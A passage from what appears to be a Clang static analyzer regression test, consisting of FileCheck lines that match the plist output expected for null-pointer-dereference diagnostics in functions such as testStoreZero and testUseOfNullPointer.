// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'a' initialized to a null pointer value</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'a' initialized to a null pointer value</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>79</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>83</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>83</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>83</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>83</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>83</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>6d3745ba4b32e1858de16c61fecf8ed4</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testInitZero</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>5</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>83</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>13</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>15</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testStoreZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testStoreZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>15</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning from 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>13</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>15</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Null pointer value stored to 'a'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Null pointer value stored to 'a'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>88</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>92</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>92</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>92</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>92</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>92</integer>
// CHECK-NEXT: <key>col</key><integer>4</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer (loaded from variable 'a')</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>2d25b170621486480ca76aaba4c7a0c0</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>testStoreZero</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>5</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>92</integer>
// CHECK-NEXT: <key>col</key><integer>6</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>path</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>12</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>20</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>22</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Calling 'getZero'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Entered call from 'testUseOfNullPointer'</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Entered call from 'testUseOfNullPointer'</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>1</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>56</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>'p' initialized to a null pointer value</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>control</string>
// CHECK-NEXT: <key>edges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>start</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>57</integer>
// CHECK-NEXT: <key>col</key><integer>5</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>end</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>8</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>60</integer>
// CHECK-NEXT: <key>col</key><integer>10</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>1</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Returning null pointer (loaded from 'p')</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
// CHECK-NEXT: <key>col</key><integer>14</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>103</integer>
